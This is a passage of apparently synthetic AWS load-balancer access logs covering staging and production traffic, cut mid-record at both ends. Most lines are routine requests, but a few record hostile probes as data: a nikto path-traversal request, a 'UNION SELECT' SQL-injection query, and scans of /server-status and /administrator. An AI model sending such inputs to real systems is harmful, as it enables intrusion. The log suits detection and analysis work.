Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c855-dbc14bcca6454881952d5dfc" "staging-alb.example.com" "-" 0 2024-11-01T01:11:33.950665Z "forward" "-" "-" "249.85.142.7:8080" "301" "-" "-" -https 2024-11-01T01:11:34.312577Z staging-alb 75.252.49.133:30824 184.177.254.8:80 0.116849 0.667630 0.021257 301 301 725 12240 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c856-ce43c44b7747420d8fc7ba50" "staging-alb.example.com" "-" 9 2024-11-01T01:11:34.312577Z "forward" "-" "-" "184.177.254.8:80" "301" "-" "-" -http 2024-11-01T01:11:36.266493Z staging-alb 209.17.9.57:17308 115.103.161.17:8080 0.077712 0.350869 0.106985 302 302 56 4009 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c858-6d7d70848d5b4c33826528d2" "staging-alb.example.com" "-" 6 2024-11-01T01:11:36.266493Z "forward" "-" "-" "115.103.161.17:8080" "302" "-" "-" -https 2024-11-01T01:11:36.964610Z prod-web-alb 244.141.36.92:24466 10.0.115.121:443 0.040735 0.068463 0.078352 302 302 862 11624 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c858-90c3f8de78a6409d8ecb69e7" "prod-web-alb.example.com" "-" 3 2024-11-01T01:11:36.964610Z "forward" "-" "-" "10.0.115.121:443" "302" "-" "-" -http 2024-11-01T01:11:37.126779Z staging-alb 171.185.89.7:26537 152.243.177.255:443 0.044770 0.039700 0.027570 200 200 660 3179 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c859-5dcf64398f47470daa3383a2" "staging-alb.example.com" "-" 10 2024-11-01T01:11:37.126779Z "forward" "-" "-" "152.243.177.255:443" "200" "-" "-" -https 2024-11-01T01:11:39.065487Z prod-web-alb 5.151.48.0:15916 10.0.134.209:443 0.011890 0.085172 0.069896 301 301 321 12475 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c85b-e591911342a2486891f66e2b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:11:39.065487Z "forward" "-" "-" "10.0.134.209:443" "301" "-" "-" -https 2024-11-01T01:11:40.899287Z prod-api-alb 21.108.85.120:62950 10.0.38.222:443 0.050626 0.383289 0.034200 200 200 176 9984 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c85c-a4f51a3084374f64923266aa" "prod-api-alb.example.com" "-" 2 2024-11-01T01:11:40.899287Z "forward" "-" "-" "10.0.38.222:443" "200" "-" "-" -https 2024-11-01T01:11:41.699531Z prod-web-alb 221.150.132.166:54815 10.0.244.250:443 0.066741 0.448328 0.042463 301 301 368 2936 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c85d-2cf785fcc32b41ebbf1440cf" "prod-web-alb.example.com" "-" 1 2024-11-01T01:11:41.699531Z "forward" "-" "-" "10.0.244.250:443" "301" "-" "-" -https 2024-11-01T01:11:43.644239Z staging-alb 88.118.234.128:16176 142.84.210.115:8080 0.107453 0.264040 0.030476 302 302 764 4084 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c85f-564c1996c6df4f06b9fc67e7" "staging-alb.example.com" "-" 10 2024-11-01T01:11:43.644239Z "forward" "-" "-" "142.84.210.115:8080" "302" "-" "-" -https 2024-11-01T01:11:44.524907Z prod-web-alb 230.92.24.229:56084 10.0.152.241:443 0.077912 0.462557 0.018468 404 404 46 9694 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c860-a4929d1e80fe4c6c9b548061" "prod-web-alb.example.com" "-" 1 2024-11-01T01:11:44.524907Z "forward" "-" "-" "10.0.152.241:443" "404" "-" "-" -https 2024-11-01T01:11:45.569654Z prod-api-alb 67.52.242.104:53899 10.0.230.212:443 0.030403 0.183888 0.075750 302 302 200 2240 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c861-d8a809847aae4c11acadb794" "prod-api-alb.example.com" "-" 4 2024-11-01T01:11:45.569654Z "forward" "-" "-" "10.0.230.212:443" "302" "-" "-" -http 2024-11-01T01:11:47.149468Z staging-alb 10.61.195.38:58824 237.193.53.53:80 0.051236 0.034202 0.005344 301 301 479 13256 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c863-1d0ffaded05241e189d00b60" "staging-alb.example.com" "-" 1 2024-11-01T01:11:47.149468Z "forward" "-" "-" "237.193.53.53:80" "301" "-" "-" -https 2024-11-01T01:11:49.043860Z staging-alb 195.104.100.162:37833 179.136.185.202:8080 0.097432 0.516309 0.148870 200 200 899 10947 "GET /web/test HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c865-13789009c56946d4b10246b4" "staging-alb.example.com" "-" 2 2024-11-01T01:11:49.043860Z "forward" "-" "-" "179.136.185.202:8080" "200" "-" "-" -https 2024-11-01T01:11:50.505539Z prod-api-alb 80.247.19.38:46341 10.0.69.144:443 0.080692 0.095934 0.070021 404 404 540 9252 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c866-7d0fdfaf00dc4ba5aa9a0857" "prod-api-alb.example.com" "-" 2 2024-11-01T01:11:50.505539Z "forward" "-" "-" "10.0.69.144:443" "404" "-" "-" -https 2024-11-01T01:11:52.270299Z prod-api-alb 45.155.205.139:20651 10.0.44.212:443 0.078615 0.191455 0.080930 403 403 233 5570 "GET /server-status HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c868-dc902bd7754b4ceb9c5758c0" "-" "-" 0 2024-11-01T01:11:52.270299Z "forward" "-" "-" "10.0.44.212:443" "403" "-" "-" -https 2024-11-01T01:11:53.458725Z staging-alb 149.180.146.15:53736 121.229.89.98:443 0.034788 0.419299 0.090093 301 301 659 11299 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c869-cbd83f46c45b4a0b85a7b812" "staging-alb.example.com" "-" 8 2024-11-01T01:11:53.458725Z "forward" "-" "-" "121.229.89.98:443" "301" "-" "-" -https 2024-11-01T01:11:54.158843Z prod-api-alb 89.188.50.231:17850 10.0.217.214:443 0.050012 0.151936 0.043263 301 301 828 14385 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c86a-ffad08eac4cc4591a900860a" "prod-api-alb.example.com" "-" 9 2024-11-01T01:11:54.158843Z "forward" "-" "-" "10.0.217.214:443" "301" "-" "-" -http 2024-11-01T01:11:54.269165Z staging-alb 21.70.169.163:60382 100.173.26.245:443 0.104750 0.587107 0.107395 200 200 845 14658 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c86a-9d0120b2226549fc9b8d2ad4" "staging-alb.example.com" "-" 3 2024-11-01T01:11:54.269165Z "forward" "-" "-" "100.173.26.245:443" "200" "-" "-" -https 2024-11-01T01:11:56.050380Z prod-api-alb 52.140.26.242:29204 10.0.224.19:443 0.011634 0.415197 0.051565 200 200 890 6566 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c86c-fb66746de26a4ed9a80ec47c" "-" "-" 8 2024-11-01T01:11:56.050380Z "forward" "-" "-" "10.0.224.19:443" "200" "-" "-" -https 2024-11-01T01:11:57.470697Z prod-api-alb 185.181.187.26:37284 10.0.72.142:443 0.008365 0.240954 0.088840 401 401 174 11571 "GET /administrator HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c86d-bda80a6b8388424e820d4897" "-" "-" 5 2024-11-01T01:11:57.470697Z "forward" "-" "-" "10.0.72.142:443" "401" "-" "-" -http 2024-11-01T01:11:58.131746Z staging-alb 96.154.176.81:16438 101.53.194.32:8080 0.004836 0.626363 0.036587 200 200 739 6223 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c86e-ba561f48254c43afac706170" "staging-alb.example.com" "-" 7 2024-11-01T01:11:58.131746Z "forward" "-" "-" "101.53.194.32:8080" "200" "-" "-" -https 2024-11-01T01:11:59.005956Z prod-api-alb 178.87.235.190:10019 10.0.95.146:443 0.065602 0.458442 0.088056 302 302 335 603 "GET /api/v2/users HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c86f-4a775c347945443cbf62f202" "prod-api-alb.example.com" "-" 5 2024-11-01T01:11:59.005956Z "forward" "-" "-" "10.0.95.146:443" "302" "-" "-" -http 2024-11-01T01:11:59.379487Z staging-alb 0.28.134.197:52153 201.165.121.215:80 0.080301 0.507568 0.045604 200 200 217 9567 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c86f-dea414ea0e3d4b649029e547" "staging-alb.example.com" "-" 6 2024-11-01T01:11:59.379487Z "forward" "-" "-" "201.165.121.215:80" "200" "-" "-" -https 2024-11-01T01:12:01.078342Z prod-web-alb 242.158.248.100:42216 10.0.111.26:443 0.055594 0.469169 0.027031 301 301 799 12788 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c871-56f5565cc56140a2bb5de77c" "prod-web-alb.example.com" "-" 6 2024-11-01T01:12:01.078342Z "forward" "-" "-" "10.0.111.26:443" "301" "-" "-" -https 2024-11-01T01:12:01.642153Z staging-alb 8.178.68.42:31699 59.81.20.60:80 0.134533 0.379527 0.039281 301 301 629 915 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c871-2ccbcc104e92454e82a53148" "staging-alb.example.com" "-" 10 2024-11-01T01:12:01.642153Z "forward" "-" "-" "59.81.20.60:80" "301" "-" "-" -https 2024-11-01T01:12:02.741674Z prod-web-alb 183.100.140.213:27842 10.0.33.170:443 0.078316 0.080790 0.026571 200 200 437 1266 "GET /images/logo.png HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c872-2e529d2defa44252b27ed37a" "prod-web-alb.example.com" "-" 8 2024-11-01T01:12:02.741674Z "forward" "-" "-" "10.0.33.170:443" "200" "-" "-" -https 2024-11-01T01:12:03.237603Z staging-alb 45.155.205.35:41549 88.131.148.251:80 0.001407 0.597581 0.010798 403 403 927 5039 "GET /api/../../../config HTTP/1.1" "nikto/2.1.6" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c873-2855c25d43924bc2b1975d93" "-" "-" 0 2024-11-01T01:12:03.237603Z "forward" "-" "-" "88.131.148.251:80" "403" "-" "-" -http 2024-11-01T01:12:03.693753Z staging-alb 178.165.66.171:22703 201.25.238.39:80 0.117698 0.389746 0.083033 200 200 434 4660 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c873-8698c8d2f1124099af4bc5b8" "staging-alb.example.com" "-" 7 2024-11-01T01:12:03.693753Z "forward" "-" "-" "201.25.238.39:80" "200" "-" "-" -https 2024-11-01T01:12:04.546493Z prod-api-alb 16.227.86.190:16856 10.0.42.184:443 0.083873 0.441163 0.081811 200 200 69 8791 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c874-8836314bff1e41649776c697" "prod-api-alb.example.com" "-" 3 2024-11-01T01:12:04.546493Z "forward" "-" "-" "10.0.42.184:443" "200" "-" "-" -https 2024-11-01T01:12:05.768426Z prod-api-alb 164.225.6.23:13414 10.0.110.164:443 0.064704 0.324970 0.002206 301 301 139 10495 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c875-0495eee411444c409b3275a0" "prod-api-alb.example.com" "-" 9 2024-11-01T01:12:05.768426Z "forward" "-" "-" "10.0.110.164:443" "301" "-" "-" -https 2024-11-01T01:12:06.452616Z prod-web-alb 162.77.193.102:26768 10.0.222.155:443 0.032979 0.064257 0.023998 404 404 771 4931 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723c876-0476875889aa415d9022ef72" "prod-web-alb.example.com" "-" 10 2024-11-01T01:12:06.452616Z "forward" "-" "-" "10.0.222.155:443" "404" "-" "-" -https 2024-11-01T01:12:07.669884Z prod-api-alb 135.77.213.92:63997 10.0.70.125:443 0.060635 0.382303 0.098387 404 404 546 5863 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c877-802a88f96a624783a67ed481" "prod-api-alb.example.com" "-" 9 2024-11-01T01:12:07.669884Z "forward" "-" "-" "10.0.70.125:443" "404" "-" "-" -https 2024-11-01T01:12:08.884805Z prod-api-alb 99.40.76.188:30645 10.0.19.240:443 0.011873 0.437566 0.011509 200 200 543 7006 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c878-b853cac17ef146a9b04474da" "prod-api-alb.example.com" "-" 4 2024-11-01T01:12:08.884805Z "forward" "-" "-" "10.0.19.240:443" "200" "-" "-" -https 2024-11-01T01:12:10.513231Z prod-api-alb 94.11.86.196:59240 10.0.245.220:443 0.006802 0.466987 0.004918 200 200 998 14832 "GET /api/v2/users HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c87a-1e4f4950d5194bdc8d85eeac" "prod-api-alb.example.com" "-" 10 2024-11-01T01:12:10.513231Z "forward" "-" "-" "10.0.245.220:443" "200" "-" "-" -http 2024-11-01T01:12:12.169569Z staging-alb 92.153.236.228:15434 151.1.161.9:443 0.052643 0.361179 0.118699 200 200 523 5171 "GET /api/v1/products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c87c-ff77b6c6211647e3bf02f432" "staging-alb.example.com" "-" 7 2024-11-01T01:12:12.169569Z "forward" "-" "-" "151.1.161.9:443" "200" "-" "-" -http 2024-11-01T01:12:12.496357Z staging-alb 85.154.12.67:21296 174.42.192.104:443 0.001415 0.138675 0.105784 200 200 901 14722 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c87c-2d0928c0e1c14a86904b8833" "staging-alb.example.com" "-" 8 2024-11-01T01:12:12.496357Z "forward" "-" "-" "174.42.192.104:443" "200" "-" "-" -https 2024-11-01T01:12:14.418083Z staging-alb 176.78.110.89:49445 167.108.45.164:8080 0.042068 0.373829 0.149558 404 404 669 6631 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c87e-f2011844d76a406cbf7f2ecd" "staging-alb.example.com" "-" 6 2024-11-01T01:12:14.418083Z "forward" "-" "-" "167.108.45.164:8080" "404" "-" "-" -https 2024-11-01T01:12:16.120685Z staging-alb 221.26.249.181:36399 247.198.104.26:80 0.127727 0.278290 0.146859 301 301 451 7574 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c880-0b15135b402a4d09bcc12402" "staging-alb.example.com" "-" 10 2024-11-01T01:12:16.120685Z "forward" "-" "-" "247.198.104.26:80" "301" "-" "-" -https 2024-11-01T01:12:16.914370Z prod-api-alb 185.123.145.137:16698 10.0.60.25:443 0.086482 0.079529 0.075108 200 200 333 13598 "GET /api/v2/users HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c880-1a317a1c40ce4ff5b5ccc541" "prod-api-alb.example.com" "-" 8 2024-11-01T01:12:16.914370Z "forward" "-" "-" "10.0.60.25:443" "200" "-" "-" -http 2024-11-01T01:12:18.094473Z staging-alb 180.106.15.202:53114 56.225.19.11:80 0.087079 0.298263 0.006326 200 200 881 2195 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c882-32f311dc4ce34450b5eab517" "staging-alb.example.com" "-" 10 2024-11-01T01:12:18.094473Z "forward" "-" "-" "56.225.19.11:80" "200" "-" "-" -https 2024-11-01T01:12:18.348129Z prod-web-alb 207.235.112.174:12178 10.0.60.100:443 0.084134 0.247856 0.042407 200 200 433 3877 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c882-fa7cf4adaff345c38a90db2b" "prod-web-alb.example.com" "-" 9 2024-11-01T01:12:18.348129Z "forward" "-" "-" "10.0.60.100:443" "200" "-" "-" -https 2024-11-01T01:12:20.209300Z staging-alb 88.222.191.231:15151 235.99.199.210:80 0.137015 0.683642 0.017536 200 200 897 13716 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c884-c2eab363e8da485eb481ff91" "staging-alb.example.com" "-" 10 2024-11-01T01:12:20.209300Z "forward" "-" "-" "235.99.199.210:80" "200" "-" "-" -https 2024-11-01T01:12:21.607803Z staging-alb 130.158.29.187:56521 176.198.135.78:443 0.024500 0.574781 0.057478 200 200 221 9186 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723c885-357c142d5e3e4b51b0aac81c" "staging-alb.example.com" "-" 3 2024-11-01T01:12:21.607803Z "forward" "-" "-" "176.198.135.78:443" "200" "-" "-" -https 2024-11-01T01:12:22.539774Z staging-alb 41.128.78.101:43077 24.166.77.0:443 0.036729 0.615119 0.063621 302 302 665 4408 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c886-383ac97d3a0e4698a8d8dfea" "staging-alb.example.com" "-" 4 2024-11-01T01:12:22.539774Z "forward" "-" "-" "24.166.77.0:443" "302" "-" "-" -https 2024-11-01T01:12:23.296529Z prod-api-alb 40.80.130.44:32630 10.0.231.55:443 0.040152 0.084490 0.082280 200 200 369 12081 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c887-71e462e70c4a4d4e83a2e656" "prod-api-alb.example.com" "-" 1 2024-11-01T01:12:23.296529Z "forward" "-" "-" "10.0.231.55:443" "200" "-" "-" -https 2024-11-01T01:12:24.166142Z prod-web-alb 234.158.78.166:11909 10.0.133.200:443 0.061425 0.122835 0.061433 404 404 125 298 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723c888-fd9557f0e3404a2bae0180d3" "prod-web-alb.example.com" "-" 6 2024-11-01T01:12:24.166142Z "forward" "-" "-" "10.0.133.200:443" "404" "-" "-" -https 2024-11-01T01:12:25.942244Z staging-alb 43.204.97.194:13994 119.188.146.75:443 0.019362 0.642215 0.118595 200 200 648 14528 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723c889-3656fda55a3e4f10ad396a61" "staging-alb.example.com" "-" 4 2024-11-01T01:12:25.942244Z "forward" "-" "-" "119.188.146.75:443" "200" "-" "-" -https 2024-11-01T01:12:27.560240Z prod-api-alb 222.55.220.213:19707 10.0.103.107:443 0.089199 0.120746 0.059889 200 200 245 14347 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723c88b-ed0ffe00ab6548e0b9f8fa42" "prod-api-alb.example.com" "-" 10 2024-11-01T01:12:27.560240Z "forward" "-" "-" "10.0.103.107:443" "200" "-" "-" -https 2024-11-01T01:12:29.497786Z prod-api-alb 185.181.21.23:52400 10.0.159.200:443 0.007608 0.378014 0.098290 200 200 517 3011 "POST /search?q=1' UNION SELECT HTTP/1.1" "Go-http-client/2.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723c88d-f92646bf4cad4165bb93ba3e" "-" "-" 10 2024-11-01T01:12:29.497786Z "forward" "-" "-" "10.0.159.200:443" "200" "-" "-" -https 2024-11-01T01:12:31.373957Z prod-web-alb 175.82.23.76:17227 10.0.167.198:443 0.073408 0.312836 0.027526 302 302 822 1667 "GET /checkout HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.3 